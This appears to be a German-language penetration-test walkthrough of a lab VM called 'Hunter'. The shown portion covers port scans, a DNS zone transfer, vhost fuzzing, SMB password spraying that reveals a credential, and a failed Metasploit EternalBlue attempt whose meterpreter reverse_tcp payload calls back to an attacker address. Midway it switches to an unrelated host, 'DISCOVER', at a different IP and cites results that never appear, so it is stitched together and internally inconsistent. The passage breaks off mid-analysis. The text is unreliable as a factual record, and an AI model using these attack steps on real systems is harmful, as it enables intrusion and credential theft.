Start der Aufklärungsphase zur Identifizierung des Ziels "Hunter" im Netzwerk.
Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.127
**Analyse:** Die IP-Adresse des Zielsystems wird als `192.168.2.127` festgelegt.
**Bewertung:** Basisinformation für alle folgenden Operationen.
**Empfehlung (Pentester):** Speichern der IP in einer Umgebungsvariable (`export IP=192.168.2.127`).
**Empfehlung (Admin):** Keine Aktion erforderlich.
ARP-Scan 192.168.2.127 08:00:27:89:35:54 PCS Systemtechnik GmbH 9 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.969 seconds (130.02 hosts/sec). 8 responded
**Analyse:** Ein ARP-Scan (`arp-scan -l`) identifiziert das Ziel `192.168.2.127` mit der MAC-Adresse `08:00:27:89:35:54`. Der Hersteller "PCS Systemtechnik GmbH" weist auf eine Oracle VirtualBox VM hin.
**Bewertung:** Bestätigt die Erreichbarkeit und liefert Hinweise auf die Virtualisierungsumgebung.
**Empfehlung (Pentester):** MAC-Adresse und VM-Hinweis notieren.
**Empfehlung (Admin):** Sicherstellen, dass nur autorisierte Geräte aktiv sind.
127.0.0.1 localhost
192.168.2.127 hunter.nyx
**Analyse:** Ein benutzerdefiniertes Skript (`recon_script.sh`) wird ausgeführt, das offenbar die lokale `/etc/hosts`-Datei bearbeitet und der Ziel-IP `192.168.2.127` den Hostnamen `hunter.nyx` zuweist.
**Bewertung:** Vereinfacht die Ansprache des Ziels über einen Namen.
**Empfehlung (Pentester):** Standardpraxis zur Verbesserung der Lesbarkeit und Kompatibilität mit VHost-abhängigen Diensten.
**Empfehlung (Admin):** Korrekte interne DNS-Konfiguration ist vorzuziehen.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 23:47 CEST Nmap scan report for 192.168.2.127 Host is up (0.00036s latency). Not shown: 993 open|filtered udp ports (no-response) PRT STATE SERVICE 53/udp open domain 1048/udp closed neod2 19639/udp closed unknown 20082/udp closed unknown 21566/udp closed unknown 49196/udp closed unknown 54094/udp closed unknown MAC Address: 08:00:27:89:35:54 (racle VirtualBox virtual NIC)
**Analyse:** Ein schneller UDP-Scan (`-sU --top-port 1000`) wird gegen die Ziel-IP durchgeführt.
**Bewertung:** Findet UDP-Port 53 (DNS) als offen. Die anderen gescannten Ports sind geschlossen oder antworten nicht.
**Empfehlung (Pentester):** Der offene DNS-Port ist ein wichtiger Fund und sollte genauer untersucht werden (Zone Transfers, Record Enumeration).
**Empfehlung (Admin):** Stellen Sie sicher, dass der DNS-Server sicher konfiguriert ist (keine offenen Zonentransfers, aktuelle Software).
-
22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u3 (protocol 2.0) 53/tcp open domain (unknown banner: not currently available) 80/tcp open http Apache httpd 2.4.38 ((Debian))
**Analyse:** Ein umfassender TCP-Scan (`-sS -sC -sV -A -p-`) wird durchgeführt und die Ausgabe nach offenen Ports gefiltert.
**Bewertung:** Identifiziert drei offene TCP-Ports: * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10) - Eine etwas ältere, aber nicht unmittelbar kritische Version. * **Port 53 (DNS):** Ein TCP-DNS-Dienst, der keine klare Versionsinformation preisgibt. * **Port 80 (HTTP):** Apache httpd 2.4.38 (Debian) - Eine bekannte, veraltete Version.
**Empfehlung (Pentester):** Hauptziele sind SSH (Brute-Force, Schlüssel), DNS (Enumeration) und HTTP (Web-Exploits, VHosts).
**Empfehlung (Admin):** Aktualisieren Sie OpenSSH und insbesondere Apache. Überprüfen Sie die DNS-Server-Konfiguration.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 23:48 CEST Nmap scan report for hunter.nyx (192.168.2.127) Host is up (0.00016s latency). Not shown: 65532 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u3 (protocol 2.0) | ssh-hostkey: | 2048 f7:ea:48:1a:a3:46:0b:bd:ac:47:73:e8:78:25:af:42 (RSA) | 256 2e:41:ca:86:1c:73:ca:de:ed:b8:74:af:d2:06:5c:68 (ECDSA) |_ 256 33:6e:a2:58:1c:5e:37:e1:98:8c:44:b1:1c:36:6d:75 (ED25519) 53/tcp open domain (unknown banner: not currently available) | fingerprint-strings: | DNSVersionBindReqTCP: | version | bind |_ currently available | dns-nsid: |_ bind.version: not currently available 80/tcp open http Apache httpd 2.4.38 ((Debian)) | http-robots.txt: 1 disallowed entry |_hunterzone.nyx |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Apache2 Debian Default Page: It works 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.94SVN%I=7%D=9/6%Time=66DB78B8%P=x86_64-pc-linux-gnu%r(DN SF:SVersionBindReqTCP,52,"\0P\0\x06\x85\0\0\x01\0\x01\0\x01\0\0\x07version SF:\x04bind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x03\0\0\0\0\0\x18\x17not\x20curr SF:ently\x20available\xc0\x0c\0\x02\0\x03\0\0\0\0\0\x02\xc0\x0c"); MAC Address: 08:00:27:89:35:54 (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 S details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HP RTT ADDRESS 1 0.16 ms hunter.nyx (192.168.2.127) S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 27.38 seconds
**Analyse:** Vollständige Ausgabe des vorherigen Nmap TCP-Scans.
**Bewertung:** Bestätigt die offenen Ports und Versionen. Zeigt SSH Host Keys. Der DNS-Dienst auf Port 53 kann nicht eindeutig identifiziert werden ("not currently available"). **Sehr wichtig:** Das `http-robots.txt`-Skript findet einen Eintrag `Disallow: hunterzone.nyx`. Dies ist ein starker Hinweis auf eine weitere Domain oder einen Virtual Host, der untersucht werden muss.
**Empfehlung (Pentester):** Fügen Sie `hunterzone.nyx` zur `/etc/hosts`-Datei hinzu und untersuchen Sie diese Domain, insbesondere über den DNS-Server auf Port 53. Analysieren Sie den Apache-Webserver auf Port 80.
**Empfehlung (Admin):** Überprüfen Sie die `robots.txt`-Datei auf unbeabsichtigte Informationspreisgabe. Aktualisieren Sie Apache. Stellen Sie sicher, dass der DNS-Dienst (vermutlich BIND) aktuell und sicher konfiguriert ist.
Untersuchung des Apache-Webservers auf Port 80.
Nikto Scan : - Nikto v2.5.0 + Target IP: 192.168.2.127 + Target Hostname: 192.168.2.127 + Target Port: 80 + Start Time: 2024-09-06 23:49:22 (GMT2) + Server: Apache/2.4.38 (Debian) + /: The anti-clickjacking X-Frame-ptions header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions] + /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 29cc, size: 5fb040bd4d6e8, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418] + Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch. + PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD . + /icons/README: Apache default file found. See: [Link: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ | Ziel: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/] + 8103 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2024-09-06 23:49:45 (GMT2) (23 seconds) + 1 host(s) tested
**Analyse:** Nikto-Scan gegen den Webserver auf Port 80.
**Bewertung:** Bestätigt die veraltete Apache-Version (2.4.38). Findet fehlende Security-Header (`X-Frame-Options`, `X-Content-Type-Options`), potenzielle Inode-Preisgabe über ETags und die erlaubten HTTP-Methoden (`GET`, `PST`, `PTINS`, `HEAD`). Findet die Standarddatei `/icons/README`.
**Empfehlung (Pentester):** Die veraltete Apache-Version und die ungewöhnlichen Methoden (`PST`, `PTINS`) könnten Angriffsvektoren sein. Die Funde sind jedoch Standard für viele ältere Apache-Installationen.
**Empfehlung (Admin):** Apache aktualisieren. Fehlende Security-Header implementieren. Unnötige Methoden deaktivieren. Zugriff auf Standarddateien wie `/icons/README` einschränken.
http://192.168.2.127/index.html Content-Type text/html Date Fri, 06 Sep 2024 21:54:50 GMT ETag "29cc-5fb040bd4d6e8-gzip" Keep-Alive timeout=5, max=100 Last-Modified Sat, 06 May 2023 10:41:20 GMT Server Apache/2.4.38 (Debian)
**Analyse:** Anzeige von HTTP-Headern für `index.html` auf Port 80 (wahrscheinlich aus Browser-Entwicklertools).
**Bewertung:** Bestätigt die Server-Version und den ETag. Keine neuen Informationen.
**Empfehlung (Pentester/Admin):** Keine Aktion.
User-agent: *
Disallow: hunterzone.nyx
**Analyse:** Abruf der `robots.txt`-Datei von Port 80.
**Bewertung:** Bestätigt den Fund aus dem Nmap-Skript: Der Pfad oder die Domain `hunterzone.nyx` soll von Suchmaschinen ignoriert werden. Dies verstärkt die Vermutung, dass dies ein wichtiger Bereich ist.
**Empfehlung (Pentester):** Fokus auf die Enumeration von `hunterzone.nyx`.
**Empfehlung (Admin):** Überprüfen, ob sensible Bereiche unbeabsichtigt in `robots.txt` offengelegt werden.
http://192.168.2.127/index.html (Status: 200) [Size: 10700] http://192.168.2.127/robots.txt (Status: 200) [Size: 39]
**Analyse:** Gobuster-Scan auf Port 80.
**Bewertung:** Findet nur die bereits bekannte `index.html` und `robots.txt`. Keine weiteren versteckten Verzeichnisse oder Dateien auf Port 80 gefunden.
**Empfehlung (Pentester):** Die Untersuchung von Port 80 scheint abgeschlossen. Weiter mit DNS und `hunterzone.nyx`.
**Empfehlung (Admin):** Keine Aktion.
Da Port 53 (DNS) offen ist und `robots.txt` auf `hunterzone.nyx` hinweist, wird der DNS-Dienst nun genauer untersucht.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 23:57 CEST Nmap scan report for hunter.nyx (192.168.2.127) Host is up (0.00016s latency). Not shown: 997 closed tcp ports (reset) PRT STATE SERVICE 22/tcp open ssh 53/tcp open domain | dns-nsid: |_ bind.version: not currently available 80/tcp open http MAC Address: 08:00:27:89:35:54 (racle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 8.33 seconds
**Analyse:** Erneuter Nmap-Scan, diesmal spezifisch mit dem Skript `dns-nsid`, um Versionsinformationen vom DNS-Server zu erhalten.
**Bewertung:** Das Skript kann keine Versionsinformationen extrahieren ("not currently available").
**Empfehlung (Pentester):** Versuchen Sie andere DNS-Enumerationstechniken wie Zonentransfers.
**Empfehlung (Admin):** Konfigurieren Sie den DNS-Server so, dass er keine unnötigen Versionsinformationen preisgibt.
; <<>> DiG 9.20.0-Debian <<>> any hunterzone.nyx @192.168.2.127 ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NERRR, id: 13625 ;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHRITY: 0, ADDITINAL: 2 ;; WARNING: recursion requested but not available ;; PT PSEUDSECTIN: ; EDNS: version: 0, flags:; udp: 4096 ; CKIE: a15bbbb7fc3546dad020ba6f66db7b3377c1c5252b53ef10 (good) ;; QUESTIN SECTIN: ;hunterzone.nyx. IN ANY ;; ANSWER SECTIN: hunterzone.nyx. 604800 IN SA ns1.hunterzone.nyx. root.hunterzone.nyx. 2 604800 86400 2419200 604800 hunterzone.nyx. 604800 IN NS ns1.hunterzone.nyx. ;; ADDITINAL SECTIN: ns1.hunterzone.nyx. 604800 IN A 127.0.0.1 ;; Query time: 0 msec ;; SERVER: 192.168.2.127#53(192.168.2.127) (TCP) ;; WHEN: Fri Sep 06 23:59:13 CEST 2024 ;; MSG SIZE rcvd: 146
**Analyse:** Eine DNS-Abfrage (`dig any ... @IP`) wird an den DNS-Server auf dem Ziel gesendet, um alle bekannten Records für die Domain `hunterzone.nyx` abzurufen.
**Bewertung:** Der Status `NOERROR` und die zurückgegebenen Records (SOA, NS, A) bestätigen, dass der DNS-Server für die Zone `hunterzone.nyx` zuständig ist. Der Nameserver (`ns1.hunterzone.nyx`) löst auf `127.0.0.1` auf, was eine lokale Konfiguration bestätigt.
**Empfehlung (Pentester):** Versuchen Sie einen Zonentransfer (AXFR) für `hunterzone.nyx` von diesem Server.
**Empfehlung (Admin):** Stellen Sie sicher, dass DNS-Server korrekt konfiguriert sind und Zonentransfers nur an autorisierte sekundäre Server erlauben.
dnsenum VERSIN:1.3.1
-- hunterzone.nyx --
Host's addresses:
__________________
Name Servers:
______________
ns1.hunterzone.nyx. 604800 IN A 127.0.0.1
Mail (MX) Servers:
___________________
Trying Zone Transfers and getting Bind Versions:
_________________________________________________
unresolvable name: ns1.hunterzone.nyx at /usr/bin/dnsenum line 892 thread 1.
Trying Zone Transfer for hunterzone.nyx on ns1.hunterzone.nyx ...
AXFR record query failed: no nameservers
**Analyse:** Das Tool `dnsenum` wird verwendet, um die Zone `hunterzone.nyx` weiter zu enumerieren, einschließlich eines Zonentransferversuchs.
**Bewertung:** `dnsenum` kann den Nameserver `ns1.hunterzone.nyx` nicht auflösen (da er nur auf dem Zielsystem existiert) und scheitert daher beim Zonentransferversuch auf diesem Weg.
**Empfehlung (Pentester):** Versuchen Sie den Zonentransfer direkt gegen die IP des Servers (`dig @192.168.2.127 hunterzone.nyx axfr`).
**Empfehlung (Admin):** Keine Aktion erforderlich.
; <<>> DiG 9.20.0-Debian <<>> @192.168.2.127 hunterzone.nyx axfr ; (1 server found) ;; global options: +cmd hunterzone.nyx. 604800 IN SA ns1.hunterzone.nyx. root.hunterzone.nyx. 2 604800 86400 2419200 604800 hunterzone.nyx. 604800 IN NS ns1.hunterzone.nyx. ?.hunterzone.nyx. 604800 IN TXT "devhunter.nyx" admin.hunterzone.nyx. 604800 IN A 127.0.0.1 cloud.hunterzone.nyx. 604800 IN A 127.0.0.1 ftp.hunterzone.nyx. 604800 IN A 127.0.0.1 ns1.hunterzone.nyx. 604800 IN A 127.0.0.1 www.hunterzone.nyx. 604800 IN A 127.0.0.1 hunterzone.nyx. 604800 IN SA ns1.hunterzone.nyx. root.hunterzone.nyx. 2 604800 86400 2419200 604800 ;; Query time: 0 msec ;; SERVER: 192.168.2.127#53(192.168.2.127) (TCP) ;; WHEN: Sat Sep 07 00:09:53 CEST 2024 ;; XFR size: 9 records (messages 1, bytes 294)
**Analyse:** Ein Zonentransfer (`axfr`) für die Zone `hunterzone.nyx` wird direkt beim DNS-Server (`@192.168.2.127`) angefragt.
**Bewertung:** **Erfolg!** Der Zonentransfer ist erlaubt und liefert wertvolle Informationen: * Mehrere Subdomains (`admin`, `cloud`, `ftp`, `ns1`, `www`) werden aufgedeckt, die alle auf `127.0.0.1` zeigen. * Ein **TXT-Record** (`?.hunterzone.nyx.`) enthält den Wert `"devhunter.nyx"`. Dies ist ein weiterer wichtiger Domain-/VHost-Name.
**Empfehlung (Pentester):** Fügen Sie alle gefundenen Subdomains und die Domain `devhunter.nyx` zur `/etc/hosts`-Datei hinzu. Untersuchen Sie `devhunter.nyx` als nächstes.
**Empfehlung (Admin):** Deaktivieren Sie öffentliche Zonentransfers auf dem DNS-Server. Erlauben Sie AXFR nur für explizit autorisierte sekundäre DNS-Server.
192.168.2.127 hunter.nyx hunterzone.nyx devhunter.nyx
**Analyse:** Die lokale `/etc/hosts`-Datei wird erneut aktualisiert, um die neu entdeckte Domain `devhunter.nyx` aufzunehmen.
**Bewertung:** Korrekte Reaktion auf den Zonentransfer-Fund.
**Empfehlung (Pentester/Admin):** Keine Aktion.
Nachdem durch DNS-Enumeration die Domains `hunterzone.nyx` und `devhunter.nyx` entdeckt wurden, versuchen wir nun, weitere Virtual Hosts (Subdomains) für `devhunter.nyx` zu finden.
Target: http://devhunter.nyx/
=
ID Response Lines Word Chars Payload
=
000000096: 200 26 L 51 W 525 Ch "files"
Total time: 45.04514
Processed Requests: 13569
Filtered Requests: 13566
Requests/sec.: 301.2311
**Analyse:** Wfuzz wird verwendet, um Subdomains für `devhunter.nyx` zu finden. Es iteriert durch eine große Wortliste und setzt jede als Subdomain in den `Host`-Header einer Anfrage an `http://devhunter.nyx` (Port 80 - Nginx) ein. `--hw=933` filtert wahrscheinlich die Standardantwort heraus.
**Bewertung:** **Erfolg!** Der Scan identifiziert `files.devhunter.nyx` als gültigen Virtual Host, da er eine andere Antwort (Status 200, 26 Zeilen, 525 Chars) liefert.
**Empfehlung (Pentester):** Fügen Sie `files.devhunter.nyx` zur `/etc/hosts`-Datei hinzu. Untersuchen Sie diesen VHost gezielt, da er auf Dateifunktionalität hindeutet.
**Empfehlung (Admin):** Stellen Sie sicher, dass alle konfigurierten Virtual Hosts beabsichtigt sind und keine unnötigen Dienste exponieren.
192.168.2.127 hunter.nyx hunterzone.nyx devhunter.nyx files.devhunter.nyx
**Analyse:** Die `/etc/hosts`-Datei wird aktualisiert, um den VHost `files.devhunter.nyx` aufzunehmen.
**Bewertung:** Korrekte Reaktion.
**Empfehlung (Pentester/Admin):** Keine Aktion.
Upload
**Analyse:** Ein `curl`-Aufruf an `http://files.devhunter.nyx/index.php`.
**Bewertung:** Bestätigt die Existenz von `index.php` auf diesem VHost und dass sie das Wort "Upload" enthält. Dies ist der Einstiegspunkt für den nächsten Schritt.
**Empfehlung (Pentester):** Untersuchen Sie die Upload-Funktionalität.
**Empfehlung (Admin):** Stellen Sie sicher, dass die Upload-Funktion sicher implementiert ist (Dateityp-Prüfung, Größenlimits, Speicherort, Berechtigungen).
Parallel zur Web- und DNS-Enumeration wird SMB (Ports 139/445) untersucht, um Benutzer, Shares und potenzielle Schwachstellen zu finden.
[+] Got S info for 192.168.2.129 from srvinfo: DISCVER Wk Sv PrQ Unx NT SNT Samba 4.13.13-Debian platform_id : 500 os version : 6.1 server type : 0x809a03 =( Users on 192.168.2.129 )= index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: ken Name: Desc: index: 0x2 RID: 0x3e9 acb: 0x00000010 Account: takeshi Name: Desc: user:[ken] rid:[0x3e8] user:[takeshi] rid:[0x3e9] =( Share Enumeration on 192.168.2.129 )= smbXcli_negprot_smb1_done: No compatible protocol selected by server. Sharename Type Comment -- - - print$ Disk Printer Drivers IPC$ IPC IPC Service (Samba 4.13.13-Debian) [+] Attempting to map shares on 192.168.2.129 //192.168.2.129/print$ Mapping: DENIED Listing: N/A Writing: N/A [E] Can't understand response: NT_STATUS_BJECT_NAME_NT_FUND listing \* //192.168.2.129/IPC$ Mapping: N/A Listing: N/A Writing: N/A [+] Enumerating users using SID S-1-5-21-4197875319-946574990-1670565427 and logon username '', password '' S-1-5-21-4197875319-946574990-1670565427-501 DISCVER\nobody (Local User) S-1-5-21-4197875319-946574990-1670565427-513 DISCVER\None (Domain Group) S-1-5-21-4197875319-946574990-1670565427-1000 DISCVER\ken (Local User) S-1-5-21-4197875319-946574990-1670565427-1001 DISCVER\takeshi (Local User) [+] Enumerating users using SID S-1-5-32 and logon username '', password '' ... (Standard Builtin Groups) ... [+] Enumerating users using SID S-1-22-1 and logon username '', password '' S-1-22-1-1000 Unix User\ken (Local User) S-1-22-1-1001 Unix User\takeshi (Local User)
**Analyse:** `enum4linux -a` wird verwendet, um umfassende Informationen über SMB/NetBIOS vom Ziel zu sammeln.
**Bewertung:** * **Samba-Version:** Meldet **Samba 4.13.13-Debian**. Dies ist eine deutlich neuere Version als die von Nmap gemeldete (4.6.2) und gilt als sicherer. * **Benutzer:** Findet die lokalen Benutzer `ken` und `takeshi`. * **Shares:** Listet nur `print$` und `IPC$` auf, beide nicht direkt zugänglich für anonyme Benutzer. Der wichtige `ken`-Share wird hier *nicht* gefunden, wahrscheinlich weil er Authentifizierung erfordert. * **SID Enumeration:** Bestätigt die Benutzer `ken` und `takeshi` durch RID-Cycling.
**Empfehlung (Pentester):** Konzentrieren Sie sich auf die Benutzer `ken` und `takeshi`. Versuchen Sie, deren Passwörter zu erraten oder zu knacken. Die Shares `print$` und `IPC$` sind wahrscheinlich uninteressant.
**Empfehlung (Admin):** Aktualisieren Sie Samba regelmäßig. Beschränken Sie die SMB-Enumeration, wenn möglich (obwohl dies oft schwierig ist).
Doing NBT name scan for addresses from 192.168.2.1/24 IP address NetBIS Name Server User MAC address 192.168.2.199192.168.2.129 DISCVER DISCVER 00:00:00:00:00:00 192.168.2.188 GHST04:42:1a:06:81:54 192.168.2.255 Sendto failed: Permission denied
**Analyse:** `nbtscan` sucht nach NetBIOS-Namen im Netzwerksegment.
**Bewertung:** Findet das Ziel (`192.168.2.129`) mit dem NetBIOS-Namen `DISCOVER`. Die MAC-Adresse `00:00:00:00:00:00` ist hier falsch/unzuverlässig.
**Empfehlung (Pentester):** Bestätigt den NetBIOS-Namen, liefert aber keine neuen kritischen Informationen.
**Empfehlung (Admin):** Deaktivieren Sie NetBIOS, wenn nicht benötigt.
SMB 192.168.2.129 445 DISCVER [-] \ken:diabinha STATUS_LGN_FAILURE ... (viele Fehler) ... ^CSMB 192.168.2.129 445 DISCVER [-] \ken:cocoliso STATUS_LGN_FAILURE
... (viele Fehler) ...
SMB 192.168.2.129 445 DISCVER [*] Windows 6.1 Build 0 (name:DISCVER) (domain:) (signing:False) (SMBv1:False)
SMB 192.168.2.129 445 DISCVER [+] \nobody:R3v_m4lwh3r3_k1nG!!
**Analyse:** CrackMapExec (cme/nxc) wird verwendet, um Passwort-Spraying gegen SMB durchzuführen. Es testet die Benutzer `ken`, `takeshi` und `nobody` mit der `rockyou.txt`-Wortliste.
**Bewertung:** Die Versuche für `ken` und `takeshi` scheitern (oder werden abgebrochen). **Überraschenderweise** wird für den Benutzer `nobody` das Passwort `R3v_m4lwh3r3_k1nG!!` gefunden. Dies ist ungewöhnlich, da `nobody` normalerweise kein Passwort hat oder für Logins deaktiviert ist.
**Empfehlung (Pentester):** Versuchen Sie, sich mit `nobody:R3v_m4lwh3r3_k1nG!!` am SMB-Dienst anzumelden und die Shares zu enumerieren. Dieses Konto hat jedoch wahrscheinlich sehr eingeschränkte Rechte.
**Empfehlung (Admin):** Deaktivieren Sie den `nobody`-Account oder stellen Sie sicher, dass er kein Passwort hat oder nicht für SMB-Logins verwendet werden kann.
(Keine Ausgabe, wahrscheinlich Fehlgeschlagen oder keine relevanten Informationen)
rpcclient $> ls command not found: ls rpcclient $> id command not found: id rpcclient $> whoami command not found: whoami rpcclient $>
**Analyse:** Versuch, anonym (`-N`) auf den `print$` Share zuzugreifen (scheitert wahrscheinlich). Anschließend wird `rpcclient` anonym (`-U "" -N`) verbunden.
**Bewertung:** Bestätigt, dass anonyme Logins via RPC möglich sind. Die versuchten Shell-Befehle (`ls`, `id`, `whoami`) sind innerhalb von `rpcclient` ungültig.
**Empfehlung (Pentester):** Verwenden Sie gültige `rpcclient`-Befehle zur Enumeration (z.B. `enumdomusers`, `querydominfo`, `srvinfo`).
**Empfehlung (Admin):** Beschränken Sie anonyme RPC-Verbindungen, wenn möglich (`restrict anonymous = 2` in `smb.conf`).
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-11 14:15 CEST Nmap scan report for discover.nyx (192.168.2.129) Host is up (0.00015s latency). PRT STATE SERVICE 445/tcp open microsoft-ds MAC Address: 08:00:27:15:B4:F5 (racle VirtualBox virtual NIC)
**Analyse:** Nmap-Scan spezifisch auf die MS17-010 (EternalBlue) Schwachstelle.
**Bewertung:** Das Skript liefert kein Ergebnis, was darauf hindeutet, dass das Ziel **nicht** für MS17-010 anfällig ist. Dies passt zur relativ neuen Samba-Version (4.13.13), die von `enum4linux` gemeldet wurde.
**Empfehlung (Pentester):** Schließen Sie MS17-010 als Angriffsvektor aus.
**Empfehlung (Admin):** Keine Aktion erforderlich, da nicht verwundbar.
User Name : nobody user_rid : 0x1f5 group_rid: 0x201 User Name : ken user_rid : 0x3e8 group_rid: 0x201 User Name : takeshi user_rid : 0x3e9 group_rid: 0x201
**Analyse:** Ein Skript verwendet `rpcclient` anonym, um Benutzerinformationen durch Brute-Forcing von RIDs (Relative IDs) im Bereich 500 bis 1100 abzufragen (`queryuser`).
**Bewertung:** Bestätigt erneut die Benutzer `nobody` (RID 501 - Standard), `ken` (RID 1000) und `takeshi` (RID 1001).
**Empfehlung (Pentester):** Keine neuen Benutzer gefunden. Konzentration auf `ken` und `takeshi`.
**Empfehlung (Admin):** Beschränken Sie anonyme RPC-Abfragen.
Matching Modules # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 excellent Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
RHSTS => 192.168.2.129
LHST => eth0
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] 192.168.2.129:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[-] 192.168.2.129:445 - An SMB Login Error occurred while connecting to the IPC$ tree.
[*] 192.168.2.129:445 - Scanned 1 of 1 hosts (100% complete)
[-] 192.168.2.129:445 - The target is not vulnerable.
[*] Exploit completed, but no session was created.
**Analyse:** Versuch, die MS17-010 (EternalBlue) Schwachstelle mit Metasploit auszunutzen.
**Bewertung:** Der Exploit scheitert. Metasploit bestätigt: "The target is not vulnerable." Dies deckt sich mit dem Nmap-Ergebnis.
**Empfehlung (Pentester):** MS17-010 definitiv ausschließen.
**Empfehlung (Admin):** Keine Aktion erforderlich.
Doing NBT name scan for addresses from 192.168.2.129
IP address NetBIS Name Server User MAC address
192.168.2.129 DISCVER DISCVER 00:00:00:00:00:00
**Analyse:** Erneuter `nbtscan`, diesmal nur gegen die Ziel-IP.
**Bewertung:** Bestätigt den NetBIOS-Namen `DISCOVER`, liefert aber keine neuen Informationen.
**Empfehlung (Pentester/Admin):** Redundant.
SMB 192.168.2.129 445 DISCVER [*] Windows 6.1 Build 0 (name:DISCVER) (domain:) (signing:False) (SMBv1:False) SMB 192.168.2.129 445 DISCVER [+] \: SMB 192.168.2.129 445 DISCVER [*] Enumerated shares SMB 192.168.2.129 445 DISCVER Share Permissions Remark SMB 192.168.2.129 445 DISCVER ----- ----------- ------ SMB 192.168.2.129 445 DISCVER print$ Printer Drivers SMB 192.168.2.129 445 DISCVER IPC$ IPC Service (Samba 4.13.13-Debian)
**Analyse:** CrackMapExec (nxc) wird verwendet, um Shares anonym aufzulisten.
**Bewertung:** Findet nur `print$` und `IPC$`, wie `enum4linux`. Bestätigt erneut, dass keine weiteren Shares anonym zugänglich sind.
**Empfehlung (Pentester):** Anonyme Enumeration liefert keine weiteren Shares.
**Empfehlung (Admin):** Beschränken Sie anonymen SMB-Zugriff.
SMB 192.168.2.129 445 DISCVER [*] Windows 6.1 Build 0 (name:DISCVER) (domain:) (signing:False) (SMBv1:False) SMB 192.168.2.129 445 DISCVER [+] \guest: [14:20:00] ERRR Exception while calling proto_flow() on target connection.py:168 192.168.2.129: nca_s_op_rng_error
SMB 192.168.2.129 445 DISCVER [*] Windows 6.1 Build 0 (name:DISCVER) (domain:) (signing:False) (SMBv1:False)
SMB 192.168.2.129 445 DISCVER [-] \ken: STATUS_LGN_FAILURE
SMB 192.168.2.129 445 DISCVER [*] Windows 6.1 Build 0 (name:DISCVER) (domain:) (signing:False) (SMBv1:False)
SMB 192.168.2.129 445 DISCVER [-] \takeshi: STATUS_LGN_FAILURE
SMB 192.168.2.129 445 DISCVER [*] Windows 6.1 Build 0 (name:DISCVER) (domain:) (signing:False) (SMBv1:False)
SMB 192.168.2.129 445 DISCVER [+] \nobody:
**Analyse:** CrackMapExec (nxc) wird verwendet, um mit verschiedenen Benutzernamen (`guest`, `ken`, `takeshi`, `nobody`) und *leeren* Passwörtern eine Verbindung herzustellen und RID-Bruteforcing durchzuführen.
**Bewertung:** Die Anmeldungen für `guest`, `ken`, `takeshi` mit leerem Passwort scheitern. Die Anmeldung für `nobody` mit leerem Passwort ist erfolgreich (`[+] \nobody:`), aber der RID-Brute-Teil scheint einen Fehler zu produzieren (`nca_s_op_rng_error`). Bestätigt, dass `nobody` ohne Passwort zugreifen kann (im Gegensatz zum CrackMapExec-Fund mit Passwort zuvor - dies deutet auf einen möglichen Fehler im früheren Test oder eine Fehlinterpretation hin. Leeres Passwort für `nobody` ist plausibler).
**Empfehlung (Pentester):** Authentifizieren Sie sich als `ken:kenken` (das funktionierende Passwort aus dem Metasploit-Scan später). Der `nobody`-Zugang ist wahrscheinlich nutzlos.
**Empfehlung (Admin):** Stellen Sie sicher, dass Konten wie `guest` oder `nobody` deaktiviert sind oder keine SMB-Rechte haben.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-11 14:24 CEST Nmap scan report for discover.nyx (192.168.2.129) Host is up (0.00020s latency). PRT STATE SERVICE 445/tcp open microsoft-ds MAC Address: 08:00:27:15:B4:F5 (racle VirtualBox virtual NIC) Host script results: |_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERRR: Server returned less data than it was supposed to (one or more fields are missing); aborting [9] |_smb-vuln-ms10-054: false
**Analyse:** Nmap-Scan mit allen `smb-vuln*`-Skripten gegen Port 445.
